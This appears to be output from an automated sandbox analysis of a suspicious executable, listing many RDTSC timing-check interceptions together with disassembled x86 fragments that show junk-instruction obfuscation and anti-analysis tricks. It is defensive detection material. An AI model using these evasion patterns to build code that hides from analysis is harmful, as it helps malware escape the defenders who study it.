Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A2D1F second address: 9A2D67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+1246F2E6h], edx 0x00000012 jmp 00007F4348DC2FA2h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a sub dword ptr [ebp+12447A24h], ecx 0x00000020 pop ebx 0x00000021 push 00000000h 0x00000023 mov edi, dword ptr [ebp+122D18BEh] 0x00000029 clc 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947F5C second address: 947F95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F4348BCFDF6h 0x0000000e jmp 00007F4348BCFDF7h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947F95 second address: 947F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947F9A second address: 947FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4348BCFDE6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947FAC second address: 947FB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947FB0 second address: 947FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F4348BCFDF0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A63E8 second address: 9A6400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6400 second address: 9A6404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EF58 second address: 99EF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1146 second address: 9A115C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4348BCFDECh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A841D second address: 9A8423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6610 second address: 9A6692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+12474D74h] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 and edi, dword ptr [ebp+122D3502h] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F4348BCFDE8h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d pushad 0x0000003e mov dword ptr [ebp+122DB53Fh], edi 0x00000044 mov dword ptr [ebp+122D1BA7h], ecx 0x0000004a popad 0x0000004b mov eax, dword ptr [ebp+122D0025h] 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 call 00007F4348BCFDE8h 0x00000059 pop eax 0x0000005a mov dword ptr [esp+04h], eax 0x0000005e add dword ptr [esp+04h], 00000016h 0x00000066 inc eax 0x00000067 push eax 0x00000068 ret 0x00000069 pop eax 0x0000006a ret 0x0000006b push FFFFFFFFh 0x0000006d mov bx, A0F2h 0x00000071 push eax 0x00000072 pushad 0x00000073 push ebx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB3DE second address: 9AB3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB3E4 second address: 9AB3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB3EE second address: 9AB3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB3F4 second address: 9AB3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB3F9 second address: 9AB401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A75D3 second address: 9A7662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 adc bx, 056Fh 0x0000000e mov dword ptr [ebp+122D1C69h], ebx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jmp 00007F4348BCFDF5h 0x00000027 add dword ptr [ebp+1245919Ch], ecx 0x0000002d mov eax, dword ptr [ebp+122D04BDh] 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F4348BCFDE8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d cmc 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push eax 0x00000053 call 00007F4348BCFDE8h 0x00000058 pop eax 0x00000059 mov dword ptr [esp+04h], eax 0x0000005d add dword ptr [esp+04h], 0000001Ah 0x00000065 inc eax 0x00000066 push eax 0x00000067 ret 0x00000068 pop eax 0x00000069 ret 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7662 second address: 9A7667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9743 second address: 9A9758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4348BCFDECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABB8D second address: 9ABB93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEABA second address: 9AEB41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1BDEh], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F4348BCFDE8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov edi, dword ptr [ebp+122D37EEh] 0x00000041 mov eax, dword ptr [ebp+122D0BF1h] 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007F4348BCFDE8h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 mov ebx, dword ptr [ebp+12470666h] 0x00000067 push FFFFFFFFh 0x00000069 or edi, 351FED77h 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 push edx 0x00000073 push eax 0x00000074 pop eax 0x00000075 pop edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEB41 second address: 9AEB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEB47 second address: 9AEB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB35 second address: 9AFB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB39 second address: 9AFB51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B87E6 second address: 9B8810 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4348DC2FABh 0x00000008 jmp 00007F4348DC2FA3h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4348DC2F9Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8810 second address: 9B8845 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jng 00007F4348BCFDF3h 0x00000019 jmp 00007F4348BCFDEDh 0x0000001e pushad 0x0000001f je 00007F4348BCFDE6h 0x00000025 jc 00007F4348BCFDE6h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8845 second address: 9B886B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4348DC2F96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4348DC2FA9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B886B second address: 9B886F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8B44 second address: 9B8B59 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007F4348DC2F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F4348DC2F96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1D5 second address: 9BC1DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1DE second address: 9BC1EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1EA second address: 9BC1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1F8 second address: 9BC1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC36A second address: 9BC36E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC36E second address: 9BC39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4348DC2F9Fh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop ecx 0x00000016 jg 00007F4348DC2F98h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push edi 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC491 second address: 9BC4D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4348BCFDE6h 0x00000009 jmp 00007F4348BCFDF9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 je 00007F4348BCFDEAh 0x00000018 push edi 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop edi 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 jmp 00007F4348BCFDEFh 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94649C second address: 9464AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4348DC2F96h 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9464AC second address: 9464B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F4348BCFDFAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C40B5 second address: 9C40C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F4348DC2F9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951F46 second address: 951F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951F5D second address: 951F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C37CF second address: 9C37D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4348BCFDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3955 second address: 9C3959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3959 second address: 9C395D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C395D second address: 9C3982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F4348DC2FA2h 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3A96 second address: 9C3AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4348BCFDE6h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3C02 second address: 9C3C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3C07 second address: 9C3C0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3C0E second address: 9C3C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007F4348DC2F96h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F4348DC2F9Eh 0x0000001b jmp 00007F4348DC2F9Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5732 second address: 9C573F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4348BCFDE6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C5F6 second address: 99C5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C5FC second address: 99C60B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C6BA second address: 99C6C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C6C0 second address: 99C6EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4348BCFDEDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C836 second address: 99C83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C965 second address: 99C985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F4348BCFDF0h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C985 second address: 99C98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C98A second address: 99C98F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CA5B second address: 99CA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB81 second address: 99CBA7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e xor ch, FFFFFF99h 0x00000011 push 00000004h 0x00000013 pushad 0x00000014 and si, E694h 0x00000019 mov dh, bh 0x0000001b popad 0x0000001c push eax 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F4348BCFDE6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CF23 second address: 99CF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CF29 second address: 99CF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D0CC second address: 99D0F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4348DC2FA5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e jne 00007F4348DC2F96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9153 second address: 9C915A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C92B5 second address: 9C9307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a je 00007F4348DC2F96h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F4348DC2FA5h 0x00000019 jne 00007F4348DC2F96h 0x0000001f popad 0x00000020 push edi 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 popad 0x00000025 jno 00007F4348DC2FC7h 0x0000002b jmp 00007F4348DC2FA4h 0x00000030 push esi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C944B second address: 9C9468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push ecx 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F4348BCFDE6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9468 second address: 9C946C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C95CA second address: 9C95E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F4348BCFDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007F4348BCFDE6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C95E1 second address: 9C95EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C95EC second address: 9C95F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F4348BCFDE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C95F9 second address: 9C95FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C95FF second address: 9C9616 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1B0A second address: 9D1B28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4348DC2FA8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1B28 second address: 9D1B36 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1B36 second address: 9D1B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D07FD second address: 9D0801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0801 second address: 9D0809 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
